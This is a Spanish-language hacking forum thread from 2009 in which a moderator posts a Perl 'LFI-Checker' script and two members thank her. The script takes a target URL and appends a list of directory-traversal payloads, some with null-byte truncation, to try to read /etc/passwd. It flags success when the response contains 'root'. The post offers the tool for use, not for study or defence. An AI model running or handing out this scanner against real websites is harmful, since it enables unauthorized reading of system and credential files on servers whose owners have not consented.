[PERL] LFI-Checker - Hacketico En Accion

AutorTema: [PERL] LFI-Checker  (Leído 1102 veces)

karol.ADN

  • Moderador Global
  • User Heroe

  • Desconectado
  • ****

  • 1744
  • Karma:
    +81/-0
  • Sexo
    Femenino

    Femenino
[PERL] LFI-Checker
« : 16 de mayo de 2009, 05:22:21 pm »
[PERL] LFI-Checker

[hide]
Código: Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa
#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;


print q(

   +++++++++++++++++++++++++++++++++++++++++++++++++
   -   Simple LFI vulnerability checker            -   
   +++++++++++++++++++++++++++++++++++++++++++++++++

);
print "Your site:\n";
$url= <STDIN>;
chomp($url);

@adressess = ('/etc/passwd%00','../etc/passwd%00','../../etc/passwd%00','../../../etc/passwd%00','../../../../etc/passwd%00','../../../../../etc/passwd%00','../../../../../../etc/passwd%00','../../../../../../../etc/passwd%00','../../../../../../../../etc/passwd%00','../../../../../../../../../etc/passwd%00','../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../../etc/passwd%00','/etc/passwd','../etc/passwd','../../etc/passwd','../../../etc/passwd','../../../../etc/passwd','../../../../../etc/passwd','../../../../../../etc/passwd','../../../../../../../etc/passwd','../../../../../../../../etc/passwd','../../../../../../../../../etc/passwd','../../../../../../../../../../etc/passwd','../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../../etc/passwd');

foreach $try(@adressess) {
my $site = $url.$try;
my $w = HTTP::Request->new(GET=>$site);
my $ua = LWP::UserAgent->new();
my $an = $ua->request($w);

if($an->content =~ root) {
print "w00t! w00t!-Founded !\n";
print "Adress: \n$site\n";
}


print $try ."\n\n\n";



}
[/hide]


Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa

Killer1234

  • Novato

  • Desconectado
  • *

  • 20
  • Karma:
    +0/-1
Re: [PERL] LFI-Checker
« Respuesta #1 : 17 de mayo de 2009, 12:26:41 am »
Gracias lol

djmagic

  • User Jr

  • Desconectado
  • **

  • 125
  • Karma:
    +3/-0
  • Sexo
    Masculino

    Masculino
  • Texto personal
    no hay nada como un sueño para hacerlo realidad
Re: [PERL] LFI-Checker
« Respuesta #2 : 25 de junio de 2009, 10:05:41 am »
pues muchas gracias por este aporte a esta, nuestra comunidad
Dj Magic vicepresidente de los Mad Magizians

Tags:
 
Compartir este Tema...
En un Foro
(BBCode)
En un Sitio Web/Blog/Twitter/Facebook
(HTML)





Powered By Satel Group® Web Hosting Diseño Publicidad y Servicio Tecnico